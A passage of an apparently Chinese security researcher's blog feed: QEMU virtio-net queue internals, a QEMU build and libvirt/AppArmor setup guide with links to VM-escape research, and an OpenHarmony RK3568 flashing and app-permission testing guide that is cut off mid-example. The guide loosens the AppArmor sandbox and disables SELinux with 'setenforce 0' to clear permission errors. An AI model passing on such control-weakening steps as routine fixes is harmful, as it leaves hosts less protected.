class="keyword">sizeof</span>(VirtQueueElement) *</span><br><span class="line">                                       queue_size);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> &amp;vdev-&gt;vq[i];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>重点关注 virtio_add_queue 函数的调用即可. 它用来向virtio-pci注册每个queue对应的处理函数. 比如<code>n-&gt;ctrl_vq = virtio_add_queue(vdev, 64, virtio_net_handle_ctrl);</code> 就是注册了size为64的VirtQueue, 对ctrl_vq的访问都会触发 virtio_net_handle_ctrl 函数调用.</p><h1 id="virtio设备的访问"><a href="#virtio设备的访问" class="headerlink" title="virtio设备的访问"></a>virtio设备的访问</h1><p>以virtio-net设备为例, 假设注册的是legacy类型, 那么通过访问它的port, 就可以调用到virtio-pci的 virtio_pci_config_write-&gt;virtio_ioport_write 函数.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">virtio_ioport_write</span><span class="params">(<span class="type">void</span> *opaque, <span class="type">uint32_t</span> addr, <span class="type">uint32_t</span> val)</span></span><br><span class="line">&#123;</span><br><span class="line">    VirtIOPCIProxy *proxy = opaque;</span><br><span class="line">    VirtIODevice *vdev = virtio_bus_get_device(&amp;proxy-&gt;bus);</span><br><span class="line">    hwaddr pa;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">switch</span> (addr) &#123;</span><br><span class="line">    <span class="keyword">case</span> VIRTIO_PCI_GUEST_FEATURES:</span><br><span class="line">        <span class="comment">/* Guest does not negotiate properly?  We have to assume nothing. */</span></span><br><span class="line">        <span class="keyword">if</span> (val &amp; (<span class="number">1</span> &lt;&lt; VIRTIO_F_BAD_FEATURE)) &#123;</span><br><span class="line">            val = virtio_bus_get_vdev_bad_features(&amp;proxy-&gt;bus);</span><br><span class="line">        &#125;</span><br><span class="line">        virtio_set_features(vdev, val);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> VIRTIO_PCI_QUEUE_SEL:</span><br><span class="line">        <span class="keyword">if</span> (val &lt; VIRTIO_QUEUE_MAX)</span><br><span class="line">            vdev-&gt;queue_sel = val;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> VIRTIO_PCI_QUEUE_NOTIFY:</span><br><span class="line">        <span class="keyword">if</span> (val &lt; VIRTIO_QUEUE_MAX) &#123;</span><br><span class="line">            virtio_queue_notify(vdev, val);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    ...</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>假设case是 VIRTIO_PCI_QUEUE_NOTIFY</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">virtio_queue_notify</span><span class="params">(VirtIODevice *vdev, <span class="type">int</span> n)</span></span><br><span class="line">&#123;</span><br><span class="line">    VirtQueue *vq = &amp;vdev-&gt;vq[n];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (unlikely(!vq-&gt;vring.desc || vdev-&gt;broken)) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    trace_virtio_queue_notify(vdev, vq - vdev-&gt;vq, vq);</span><br><span class="line">    <span class="keyword">if</span> (vq-&gt;host_notifier_enabled) &#123;</span><br><span class="line">        event_notifier_set(&amp;vq-&gt;host_notifier);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (vq-&gt;handle_output) &#123;</span><br><span class="line">        vq-&gt;handle_output(vdev, vq);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (unlikely(vdev-&gt;start_on_kick)) &#123;</span><br><span class="line">            virtio_set_started(vdev, <span class="literal">true</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从上面可以看到, 它实际是通过vdev-&gt;vq来获取相关的VirtQueue的, 而上面virtio-net初始化的时候, max_queue_pairs是1, 所以它最终只初始化了3个queue. 按照初始化时调用virtio_add_queue的顺序, vq[0]就是rx_vq, vq[1]是tx_vq, vq[2]是ctrl_vq.  所以如果n是0, 最后调用的<code>vq-&gt;handle_output</code> 就会是 virtio_net_handle_rx 函数.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;简单介绍qemu的虚拟化组件的初始化和入口&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>qemu编译简单指南一个 :)</title>
    <link href="http://474172261.github.io/2023/02/22/qemu-build/"/>
    <id>http://474172261.github.io/2023/02/22/qemu-build/</id>
    <published>2023-02-22T11:54:44.243Z</published>
    <updated>2025-02-18T02:42:46.000Z</updated>
    
    <content type="html"><![CDATA[<p>简单的qemu编译说明, 其它有关的网络和管理配置等 :)</p><span id="more"></span><h1 id="qemu编译"><a href="#qemu编译" class="headerlink" title="qemu编译"></a>qemu编译</h1><ol><li><p>登录<a href="http://download.qemu-project.org/?C=M;O=D">官方网站</a>直接下载源码包（例如文件名为qemu-2.8.0.tar.bz2）</p></li><li><p>解压文件<code>tar –jxvf qemu-2.8.0.tar.bz2</code></p></li><li><p>安装 依赖库<br> <strong>Ubuntu系统</strong></p> <figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install -y zlib1g-dev </span><br><span class="line">sudo apt-get install -y libglib2.0-dev </span><br><span class="line">sudo apt-get install -y autoconf2.13 </span><br><span class="line">sudo apt-get install -y libtool </span><br><span class="line">sudo apt-get install -y libgtk2.0-dev </span><br><span class="line">以下组件可选, 针对更新的版本, 比如5.x, 6.x</span><br><span class="line">sudo apt-get install ninja-build</span><br><span class="line">sudo apt-get install libpixman-1-dev</span><br></pre></td></tr></table></figure><p>  <strong>Centos系统</strong></p> <figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">yum install zlib-devel.x86_64 -y </span><br><span class="line">yum install gtk2-devel –y </span><br><span class="line">yum install autoconf </span><br><span class="line">yum install gettext </span><br><span class="line">yum install flex </span><br><span class="line">yum install bison</span><br><span class="line">以下安装包可选</span><br><span class="line">yum install ninja-build</span><br><span class="line">yum install spice-server-devel</span><br></pre></td></tr></table></figure></li><li><p>编译安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> qemu-2.8.0 </span><br><span class="line">./configure  --enable-kvm  --enable-debug  --target-list=x86_64-softmmu</span><br><span class="line">make -j 4  <span class="comment">#注意, 此处的4与虚拟机或者物理机的逻辑处理器个数一样. 可以比物理的数量更小,不要超过.</span></span><br><span class="line">sudo make install</span><br></pre></td></tr></table></figure></li></ol><h1 id="kvm"><a href="#kvm" class="headerlink" title="kvm"></a>kvm</h1><p>Ubuntu系统 <code>sudo apt install qemu-kvm</code><br>其它Linux系统 <code>yum install qemu-kvm.x86_64</code><br>注意查看<code>cat /proc/cpuinfo |grep -E &quot;vmx|svm&quot;</code> 是否有结果, 如果没有, 记得启动vmware的cpu的虚拟化intel VT-x选项.</p><h1 id="创建虚拟机"><a href="#创建虚拟机" class="headerlink" title="创建虚拟机"></a>创建虚拟机</h1><p>假设创建一个虚拟机硬盘为10G:<br><code>qemu-img create -f qcow2 centos.img 10G</code></p><p>通过iso创建安装系统<br><code>qemu-system-x86_64 -m 256 -hda centos.img -cdrom winxpsp2.iso -enable-kvm</code></p><p>如果默认没有虚拟机界面, 可以安装vncviewer查看</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install tigervnc-viewer</span><br></pre></td></tr></table></figure><p>安装完成后, 启动qemu会提示连接 127.0.0.1:5900, 我们使用<code>vncviewer ::5900</code> 连接即可</p><h1 id="使libvirt启动我们编译的qemu版本"><a href="#使libvirt启动我们编译的qemu版本" class="headerlink" title="使libvirt启动我们编译的qemu版本"></a>使libvirt启动我们编译的qemu版本</h1><p>如果使用libvirt创建过虚拟机, 那么可以在 <code>/etc/libvirt/qemu/</code>找到虚拟机对应的xml文件.  修改下列参数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;emulator&gt;/usr/bin/qemu-system-x86_64&lt;/emulator&gt;</span><br></pre></td></tr></table></figure><p>改成自己编译的qemu文件目录.  比如<code>/home/vv/qemu-6.2.0/build/qemu-system-x86_64</code></p><p>对于ubuntu, 还需要修改沙箱配置, 给libvirt配置访问权限.</p><p>先使用<code>sudo aa-status</code>查看是否包含<code>/usr/sbin/libvirtd</code>, 如果包含, 说明启用了apparmor.</p><p>修改以下文件<code>/etc/apparmor.d/usr.sbin.libvirtd</code>, 在下列类似列后面添加以下内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/usr/bin/kvm rmix, 这行默认就有</span><br><span class="line">/home/vv/qemu-6.2.0/** rmix, 将我们的qemu目录添加到沙箱</span><br></pre></td></tr></table></figure><p>还有<code>/etc/apparmor.d/abstractions/libvirt-qemu</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/usr/bin/kvm rmix, 这行默认就有</span><br><span class="line">/home/vv/qemu-6.2.0/** rmix, 将我们的qemu目录添加到沙箱</span><br></pre></td></tr></table></figure><p>之后重新加载规则<code>sudo systemctl reload apparmor</code></p><p>这样libvirt应该就可以正常启用它了.</p><blockquote><p>如果没有启用apparmor还存在权限问题, 就把selinux暂时关闭: <code>setenforce 0</code></p><p>更多apparmor的语法规则, 参考<a href="https://documentation.suse.com/zh-cn/sles/15-SP2/html/SLES-all/cha-apparmor-profiles.html"> Apparmor 配置文件组件和语法</a></p></blockquote><p><strong>如果希望virt-manager能启用我们的qemu</strong>, 还需要为qemu添加两个编译组件:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">yum install qemu-device-usb-redirect.x86_64 usbredir.x86_64 usbredir-devel.x86_64 </span><br><span class="line">yum install spice-server-devel spice-protocol spice-server</span><br></pre></td></tr></table></figure><blockquote><p>如果是ubuntu, 请使用<code>sudo apt install libspice-server-dev libusbredirparser-dev </code>  . </p></blockquote><p>并确保<code>./configure  --enable-kvm  --enable-debug  --target-list=x86_64-softmmu --enable-spice</code> 输出以下内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">spice support: YES</span><br><span class="line">libusb: YES</span><br><span class="line">usb net redir: YES</span><br></pre></td></tr></table></figure><p>之后重新编译qemu. </p><p>然后在virt-manager的 <code>Edit-&gt;Preferences-&gt;General</code>勾选 <code>Enable XML editing</code>. 之后按照如下修改:</p><p><img src="/images/qemu-build/change_emulator.png"></p><p>下一次启动虚拟机就可以生效了(使用virt-manager也需要设置沙箱权限).</p><p>参考: <a href="https://unix.stackexchange.com/questions/471345/changing-libvirt-emulator-permission-denied">Changing libvirt emulator: Permission denied</a> </p><h1 id="其它使用和研究参考资料"><a href="#其它使用和研究参考资料" class="headerlink" title="其它使用和研究参考资料"></a>其它使用和研究参考资料</h1><p><a href="/otherfile/qemu%E5%8F%8Akvm%E8%BD%AF%E4%BB%B6%E7%AE%80%E4%BB%8B.pdf">qemu及kvm软件安全研究简介</a></p><p><a href="https://www.cxybb.com/article/wozaiyizhideng/116993949">qemu命令行网络相关参数详解</a></p><p><a href="https://gist.github.com/extremecoders-re/e8fd8a67a515fee0c873dcafc81d811c">给qemu配置tap</a> </p><blockquote><p>配置tap前记得先安装 bridge-utils, uml-utilities</p></blockquote><p><a href="https://github.com/474172261/wctf_vm_escape_virtualHole">virtualhole——qemu安全入门练习题</a></p><blockquote><p>这个练习题既可以加深你对虚拟化漏洞的理解, 也可以提高你的利用技巧, 虚拟化入门必选</p></blockquote><p><a href="https://blackhat.com/asia-21/briefings/schedule/#scavenger-misuse-error-handling-leading-to-qemukvm-escape-21971">Scavenger: Misuse Error Handling Leading to Qemu&#x2F;KVM Escape</a></p><p><a href="https://xz.aliyun.com/t/8320?accounttraceid=6ede24cd2a974ccbb0703b7121b5469dhtfc">CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路</a></p><p><a href="https://github.com/0xKira/qemu-vm-escape/blob/master/Tensec2019-Vulnerability_Discovery_and_Exploitation_of_Virtualization_Solutions_for_Cloud_Computing_and_Desktops.pdf">Slirp QEMU escape</a></p><p><a href="https://insujang.github.io/2021-03-10/virtio-and-vhost-architecture-part-1/">Virtio and Vhost Architecture part1</a></p><p><a href="https://insujang.github.io/2021-03-15/virtio-and-vhost-architecture-part-2/">Virtio and Vhost Architecture part2</a></p><p><a href="https://www.youtube.com/watch?v=wL3LK9Dp4os">HEXACON2024 - DMAKiller: DMA to Escape from QEMU&#x2F;KVM by Yongkang Jia, Yiming Tao &amp; Xiao Lei</a> </p><h1 id="错误处理"><a href="#错误处理" class="headerlink" title="错误处理"></a>错误处理</h1><p><strong>ERROR: glib-2.56 gthread-2.0 is required to compile QEMU</strong></p><p>这个应该是没有装好glib相关的东西, 执行<code>sudo apt install libglib2.0-dev</code>安装, 如果出现如下错误:</p>  <figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">The following packages have unmet dependencies:</span><br><span class="line">libglib2.0-dev : Depends: libglib2.0-0 (= 2.64.6-1~ubuntu20.04.3) but 2.64.6-1~ubuntu20.04.4 is to be installed</span><br><span class="line">               Depends: libglib2.0-bin (= 2.64.6-1~ubuntu20.04.3)</span><br><span class="line">               Depends: zlib1g-dev but it is not going to be installed</span><br><span class="line">E: Unable to correct problems, you have held broken packages.</span><br></pre></td></tr></table></figure><p>  先安装libglib2.0-0,  <code>sudo apt install libglib2.0-0=2.64.6-1~ubuntu20.04.3</code></p><blockquote><p>警告!!! 更改libglib2.0-0的版本可能导致ubuntu 20.04的桌面启动出问题, 重启后将进不了桌面.</p></blockquote><p><strong>Depends: zlib1g (&#x3D; 1:1.2.11.dfsg-2ubuntu1) but 1:1.2.11.dfsg-2ubuntu1.2 is to be installed</strong></p><p>如果安装zlib1g-dev失败出现如下错误:</p>  <figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$ sudo apt install zlib1g-dev</span><br><span class="line">Reading package lists... Done</span><br><span class="line">Building dependency tree       </span><br><span class="line">Reading state information... Done</span><br><span class="line">Some packages could not be installed. This may mean that you have</span><br><span class="line">requested an impossible situation or <span class="keyword">if</span> you are using the unstable</span><br><span class="line">distribution that some required packages have not yet been created</span><br><span class="line">or been moved out of Incoming.</span><br><span class="line">The following information may <span class="built_in">help</span> to resolve the situation:</span><br><span class="line"></span><br><span class="line">The following packages have unmet dependencies:</span><br><span class="line">zlib1g-dev : Depends: zlib1g (= 1:1.2.11.dfsg-2ubuntu1) but 1:1.2.11.dfsg-2ubuntu1.2 is to be installed</span><br><span class="line">E: Unable to correct problems, you have held broken packages.</span><br></pre></td></tr></table></figure><p>  又提示依赖的版本不对, 用如下方法安装</p>  <figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install zlib1g=1:1.2.11.dfsg-2ubuntu1</span><br></pre></td></tr></table></figure><p>  再重新安装<code>sudo apt install zlib1g-dev libglib2.0-dev</code></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;简单的qemu编译说明, 其它有关的网络和管理配置等 :)&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>OpenHarmony测试指南</title>
    <link href="http://474172261.github.io/2023/02/22/OpenHarmony-test/"/>
    <id>http://474172261.github.io/2023/02/22/OpenHarmony-test/</id>
    <published>2023-02-22T11:54:44.228Z</published>
    <updated>2024-11-28T08:08:56.601Z</updated>
    
    <content type="html"><![CDATA[<p>官方虽然有不少资料, 但是都很分散, 我整理一下关于rk3568的测试资料, 方便大家参考.</p><span id="more"></span><h1 id="系统编译"><a href="#系统编译" class="headerlink" title="系统编译"></a>系统编译</h1><ol><li><p>参照<a href="https://device.harmonyos.com/cn/docs/documentation/guide/ide-install-windows-ubuntu-0000001194073744">搭建开发环境</a> 准备好Ubuntu环境和windows的vscode环境, 完成remote-ssh连接.</p></li><li><p>准备好源码, 参考<a href="https://device.harmonyos.com/cn/docs/documentation/guide/create_project-0000001072200151">创建OpenHarmony工程</a>章节, 自动获取源码, 或者导入自己存在的源码.</p><blockquote><p>可以从<a href="https://repo.huaweicloud.com/harmonyos/os/">此处获取源码</a></p></blockquote></li><li><p>对于rk3568设备, 参考<a href="https://device.harmonyos.com/cn/docs/documentation/guide/ide-rk3568-compile-0000001238957517">编译RK3568开发板源码</a>章节的<strong>1</strong>,<strong>2</strong>,<strong>3</strong>的内容. 准备好后, 参考<a href="https://gitee.com/hihope_iot/docs/blob/master/HiHope_DAYU200/%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E7%BC%96%E8%AF%91%E6%8C%87%E5%8D%97.md">HiHope_DAYU200&#x2F;开发环境搭建编译指南</a>, 安装需要的组件, 如下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install binutils git git-lfs gnupg flex</span><br><span class="line">bison gperf build-essential zip curl zlib1g-dev gcc-multilib g++-multilib</span><br><span class="line">libc6-dev-i386 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z1-dev ccache</span><br><span class="line">libgl1-mesa-dev libxml2-utils xsltproc unzip m4 bc gnutls-bin python3.8</span><br><span class="line">python3-pip ruby libtinfo-dev libtinfo5</span><br></pre></td></tr></table></figure><blockquote><p>如果安装有问题, 可以考虑使用aptitude来解决.</p></blockquote></li><li><p>最后可以执行<code>./build.sh --product-name rk3568 --target-cpu arm64 --ccache</code>编译64位系统.</p></li></ol><p><strong>如果不想编译, 可以访问<a href="https://ci.openharmony.cn/workbench/cicd/dailybuild/detail/component">openharmony 数字化协作平台</a>, 选择”CICD-每日构建” 找到想要的版本的编译后文件.</strong></p><p><img src="/images/OpenHarmony-test/1732781270513.png" alt="1732781270513"></p><p>如果烧录后不能正常启动, 就换一个版本, 省时间.</p><h1 id="rk3568系统烧录"><a href="#rk3568系统烧录" class="headerlink" title="rk3568系统烧录"></a>rk3568系统烧录</h1><p>参考<a href="https://gitee.com/hihope_iot/docs/blob/master/HiHope_DAYU200/docs/%E7%83%A7%E5%BD%95%E6%8C%87%E5%AF%BC%E6%96%87%E6%A1%A3.md"> 烧录指导文档</a></p><ol><li><p>按照如图所示连接电源线, 串口线, usb线</p><p><img src="/images/OpenHarmony-test/image-20220516164155093-1670578318853.png" alt="image-20220516164155093"> </p></li><li><p>下载<a href="https://gitee.com/hihope_iot/docs/tree/master/HiHope_DAYU200/%E7%83%A7%E5%86%99%E5%B7%A5%E5%85%B7%E5%8F%8A%E6%8C%87%E5%8D%97/windows">驱动工具</a></p><blockquote><p>需要下载的文件:  DriverAssitant_v5.1.1.zip,  RKDevTool.exe,  config.ini, Language 目录.</p><p>一定要保留Language目录, 否则工具会出现点一下就崩溃或者一直static的状况.</p></blockquote><p>解压DriverAssitant_v5.1.1.zip后, 运行<code>DriverAssitant\DriverInstall.exe  </code>, 点击<code>驱动安装</code>.</p></li><li><p>打开<code>RKDevTool.exe </code>烧写工具, 查看设备状态.</p><p>如果开着机, 默认是如下状态:</p><p><img src="/images/OpenHarmony-test/1672023200456.png" alt="1672023200456"></p></li><li><p>按住下图所示两个键</p><p><img src="/images/OpenHarmony-test/image-20220516170351601.png" alt="image-20220516170351601"> </p><p>烧录工具会提示没发现设备.</p><p>然后松开reset键, 显示”发现一个loader设备”. 然后松开剩下的按键. 等待3秒.</p></li></ol><h2 id="使用烧录工具烧录"><a href="#使用烧录工具烧录" class="headerlink" title="使用烧录工具烧录"></a>使用烧录工具烧录</h2><p>vscode烧录时, 传输文件会比scp命令慢, 我们可以手动烧录.</p><p>将ubuntu目录源码的<code>out/rk3568/packages/phone/images/</code>目录下的所有文件拷贝到本地, 然后在<code>RKDevTool.exe </code>工具的栏目里右键选择<code>load config</code>, 加载目录里的<code>config.cfg</code>文件, 并修改好每个文件的路径. 点击<code>执行</code>烧录.</p><h2 id="使用vscode工具烧录"><a href="#使用vscode工具烧录" class="headerlink" title="使用vscode工具烧录"></a>使用vscode工具烧录</h2><ol><li><p>确保机器连接成功</p><p>在DevEco Device Tool中，选择<strong>REMOTE DEVELOPMENT &gt; Local PC</strong>，查看远程计算机（Ubuntu开发环境）与本地计算机（Windows开发环境）的连接状态。</p><ul><li>如果Local PC右边连接按钮为<img src="/images/OpenHarmony-test/0000000000011111111.20220617164602.73645117545890562218658911880196.png" alt="img">则远程计算机与本地计算机为已连接状态，不需要执行其他操作。</li><li>如果Local PC右边连接按钮为<img src="/images/OpenHarmony-test/0000000000011111111.20220617164602.26357696204473864583858211392894.png" alt="img">则点击绿色按钮进行连接。连接时DevEco Device Tool会重启服务，因此请不要在下载源码或源码编译过程中进行连接，否则会中断任务</li></ul></li><li><p>在vs code中点击upload选项即可烧录.<img src="/images/OpenHarmony-test/0000000000011111111.20221103203816.15089950501154467365030783854423.png" alt="img"> </p></li><li><p>vscode会先拷贝文件到本地, 拷贝完成后, 会提示按键开始烧录</p></li></ol><h1 id="实用命令"><a href="#实用命令" class="headerlink" title="实用命令"></a>实用命令</h1><p><code>hdc shell power-shell setmode 602</code> 屏幕常量</p><p><code>/vendor/bin/wpa_supplicant -i wlan0 -c /data/my_wpa_supplicant.conf -B</code> 手动配置wifi</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">network=&#123;</span><br><span class="line">ssid=&quot;wifiname&quot;</span><br><span class="line">psk=&quot;wifipassword&quot;</span><br><span class="line">priority=2</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="创建应用调试"><a href="#创建应用调试" class="headerlink" title="创建应用调试"></a>创建应用调试</h1><ol><li><p>下载安装<a href="https://developer.harmonyos.com/cn/develop/deveco-studio#download">HUAWEI DevEco Studio </a></p></li><li><p>启动它, 一步步继续就行, 然后会强制安装<code>Harmony SDK</code>, 继续</p></li><li><p>创建OpenHarmony 应用</p><p><img src="/images/OpenHarmony-test/1670580451653.png" alt="1670580451653"></p></li><li><p>接着会提示你安装<code>OpenHarmony SDK</code>, 安装即可</p><p><img src="/images/OpenHarmony-test/1670580505134.png" alt="1670580505134"></p></li><li><p>项目就创建完成了, 如果设备连接正常, 此处会有显示</p><p><img src="/images/OpenHarmony-test/1670580590649.png" alt="1670580590649"></p></li><li><p>选择<code>File-&gt;Project Structure</code>, 按下图所示</p><p><img src="/images/OpenHarmony-test/1670580692357.png" alt="1670580692357"></p><p>先择自动签名.</p></li><li><p>完成后就可以在下图位置开始调试和测试运行了</p><p><img src="/images/OpenHarmony-test/1670580744213.png" alt="1670580744213"></p></li></ol><p>参考: <a href="https://developer.harmonyos.com/cn/docs/documentation/doc-guides/installation_process-0000001071425528">DevEco Studio 搭建</a></p><h2 id="设置应用权限"><a href="#设置应用权限" class="headerlink" title="设置应用权限"></a>设置应用权限</h2><p>应用一般有3个等级:</p><table><thead><tr><th>APL级别</th><th>说明</th></tr></thead><tbody><tr><td>system_core等级</td><td>该等级的应用服务提供操作系统核心能力。</td></tr><tr><td>system_basic等级</td><td>该等级的应用服务提供系统基础服务。</td></tr><tr><td>normal等级</td><td>普通应用。</td></tr></tbody></table><p>可以查看此处的<a href="https://developer.harmonyos.com/cn/docs/documentation/doc-guides-V3/permission-list-0000001478341001-V3">权限列表</a>来确认模块所需的权限. (华为的人老是乱改链接, 如果失效了, 就<a href="https://developer.harmonyos.com/cn/docs/search?val=%E5%BA%94%E7%94%A8%E6%9D%83%E9%99%90%E5%88%97%E8%A1%A8">搜索</a>)</p><p>如果我们需要一个高一点的权限, 比如说 system_basic, 那么就需要额外的操作设置一下. 下面示例设置<strong>ohos.permission.DISTRIBUTED_SOFTBUS_CENTER</strong> 权限</p><ol><li><p>创建一个空的Openharmony项目, 在项目的 <code>entry/src/main</code>下, 找到 <code>module.json5</code> 文件</p><p><img src="/images/OpenHarmony-test/1675148476629.png" alt="1675148476629"></p></li><li><p>在文件的 module 的大括号内添加如下权限请求:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&#123;  </span><br><span class="line">  &quot;module&quot;: &#123;</span><br><span class="line">    xxx: [</span><br><span class="line">    ...</span><br><span class="line">    ],</span><br><span class="line">    &quot;requestPermissions&quot;: [// 新增此项</span><br><span class="line">      &#123;</span><br><span class="line">        &quot;name&quot;: &quot;ohos.permission.DISTRIBUTED_SOFTBUS_CENTER&quot;// 需要的权限</span><br><span class="line">      &#125;</span><br><span class="line">    ]</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>更多设置<a href="https://bbs.elecfans.com/jishu_2313453_1_1.html">参考</a></p></li><li><p>找到 <strong>UnsgnedReleasedProfileTemplate.json</strong> 文件, 默认在<code>C:\Users\vv\AppData\Local\OpenHarmony\Sdk\9\toolchains\lib\UnsgnedReleasedProfileTemplate.json</code>, 修改其中的内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&quot;apl&quot;:&quot;system_basic&quot;,// 根据权限列表的内容, DISTRIBUTED_SOFTBUS_CENTER 需要 system_basic权限</span><br><span class="line">&quot;app-feature&quot;:&quot;hos_system_app&quot; // 系统基础服务app</span><br></pre></td></tr></table></figure><p>更多设置<a href="https://www.51cto.com/article/741793.html">参考</a></p></li><li><p>然后找到默认的签名证书, <code>C:\Users\vv\.ohos\config\openharmony</code>, 把目录下以<code>auto_ohos_default_你的项目名称...</code>开头的文件都删除. 同时清理项目的<code>build-profile.json5</code>的<strong>signingConfigs</strong>的内容为 <code>&quot;signingConfigs&quot;:[],</code></p></li><li><p>在DevEco里,  <code>File -&gt; Project Structure-&gt;Project-&gt;Signing Configs</code>里设置自动签名.</p><p><img src="/images/OpenHarmony-test/1675149053919.png" alt="1675149053919"></p></li><li><p>最后编译好就可以直接安装测试了.</p></li></ol><h1 id="测试用例的生成"><a href="#测试用例的生成" class="headerlink" title="测试用例的生成"></a>测试用例的生成</h1><h2 id="使用DevEco生成测试用例"><a href="#使用DevEco生成测试用例" class="headerlink" title="使用DevEco生成测试用例"></a>使用DevEco生成测试用例</h2><p>这里需要感谢<strong>k0shl</strong>(<a href="https://twitter.com/keyz3r0?lang=en">@KeyZ3r0</a>)大佬的帮助, 找到了ipc的直接调用方法:</p><p>文件<code>xxx.ets</code>里: </p><p>以下是4.x版本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 